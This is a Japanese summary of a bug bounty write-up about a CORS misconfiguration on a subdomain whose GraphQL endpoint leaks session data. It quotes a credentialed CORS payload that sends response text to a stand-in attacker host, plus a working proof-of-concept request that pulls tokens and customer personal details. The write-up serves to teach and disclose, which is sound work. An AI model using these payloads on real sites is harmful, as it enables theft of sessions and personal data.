CORS Misconfig on Out of scope domain Bug Bounty Writeup (300 USD Reward ) からCORSを学ぶ

ソース:

medium.com

脆弱性:CORS

 

訳:

ログインが成功すると、/vuln-subdomain/sw.js という JS スクリプトが読み込まれ、すべての Cookie と機密データが GET リクエストを通じて vuln-subdomain.com に送信され、そこに保存されます。

 

vuln-subdomain.com には CORS の構成に誤りがあり、ランダムなサイトが vuln-subdomain.com からデータを読み取ることができます。

したがって、この設定ミスにより、inscope ドメイン app.redacted.com が機密データと Cookie を vuln-subdomain.com に送信したため脆弱になってしまいました。
vuln-subdomain.com にはgraphqlがあり、CORS経由でgraphqlペイロードを送信すると機密データが返されます。

 

以下で説明する payloadallthings の通常の CORS ペイロードを試しましたが、うまくいきませんでした。
この場合、なぜうまくいかないのかを調べました。
ここでの出力は、脆弱なサブドメインに対する GRAPHQL によるものです。
この場合の応答は同期しておらず、応答の受信に遅延があったため、ペイロードは機能していないようです。

 

github.com

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};

 

そこで、いくつかのグーグル検索の後、vuln-subdomain.comからデータを正常に読み取る以下のPOCを思いつくことができました。

 

var createCORSRequest = function(method, url) {
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr) {
// Most browsers.
xhr.open(method, url, false);
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var respons = JSON.parse(JSON.stringify(xhr.responseText))
alert(respons);
}
}

} else if (typeof XDomainRequest != "undefined") {
// IE8 & IE9
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
// CORS not supported.
xhr = null;
}
return xhr;
};

var url = 'https://vuln-subdomain.com/redacted-backend/graphql';
var method = 'POST';
var xhr = createCORSRequest(method, url);

xhr.onload = function() {
// Success code goes here.
};

xhr.onerror = function() {
// Error code goes here.
};

xhr.withCredentials = true;
xhr.send('{"operationName":"GetCurrentCustomerSession","variables":{},"query":"query GetCurrentCustomerSession {\n getCurrentCustomerSession {\n chatSession {\n ...FragmentChatSession\n __typename\n }\n enableRating\n xmppUser {\n id\n username\n token\n host\n __typename\n }\n __typename\n }\n}\n\nfragment FragmentChatSession on ChatSession {\n id\n sessionId\n userCustomer {\n id\n name\n email\n phoneNumber\n gender\n userType {\n type\n __typename\n }\n comment\n commentedBy {\n name\n __typename\n }\n __typename\n }\n userBCA {\n username\n name\n {\n id\n username\n host\n __typename\n }\n __typename\n }\n chatType {\n typeName\n __typename\n }\n chatReason {\n reasonName\n __typename\n }\n sessionSentiment {\n sentimentType\n __typename\n }\n skill {\n name\n published\n __typename\n }\n sessionCategories {\n categoryName\n __typename\n } }\n}');

 

このプログラムでは、この脆弱性の発見に対して 300 米ドルの報奨金が提供されました。

 

 

 

ほなほな。